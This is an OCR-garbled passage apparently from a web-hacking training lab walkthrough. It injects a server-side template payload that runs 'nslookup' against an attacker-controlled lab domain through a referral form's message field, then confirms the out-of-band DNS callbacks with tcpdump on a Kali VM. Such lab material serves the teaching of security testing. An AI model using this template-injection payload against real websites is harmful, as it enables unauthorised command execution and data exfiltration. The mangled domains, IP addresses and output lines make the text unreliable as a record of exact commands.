<%= "nslookup superspam.userX.webhacklab.com™ %>

New Referral

Invite a friend and you could get upto £5 reward for every friend who joins and makes their first order.

Who do you want to invite?

Name

| Dhruv Shah |

Email

| dhruv@notsosecure.com |

Message

<= "nslookup ~
SURErspAms.user26.we v
bhacklah.com® %>

REFER A IFL?IEND
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Step 7: Start tcpdump on your kali VM to dump dns requests, using the following command:

root@Kali:~# tcpdump -n udp port 53 -i any

Step 8: Once the request is sent, the DNS requests are being received by the host.

: # tcpdump -n udp port 53 -i any

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, Llink-type LINU L (Linux cooked), capture size 144 bytes

05 : :11.738658 IP 192.168.200.12 95 .168.4.26.53: 61321+ A? superspams.user26.webhacklab.com. (50)
IP . g 8.8. . 65145+ A? superspams.user26.webhacklab.com. (50)
IP 10. 9 .8. . 35145+ A? superspams.user26.webhacklab.com. (50)

IP 10. 1. : 65145+ A? super'spams.user'z()'.webhackiab.tgom. (50)
IP . .0. 35 NXDomain 0/1/0 (120)
IP ! ] .53 ] . 95: 61321 NXDomain 0/1/0 (128)

. IP .8. 3 10.0. 35145 NXDomain @/1/0 (120)

0133349 IP 1.1.1.1.53 .0.2.15. 45 NXDomain 0/1/0 (120)

END OF PART -2
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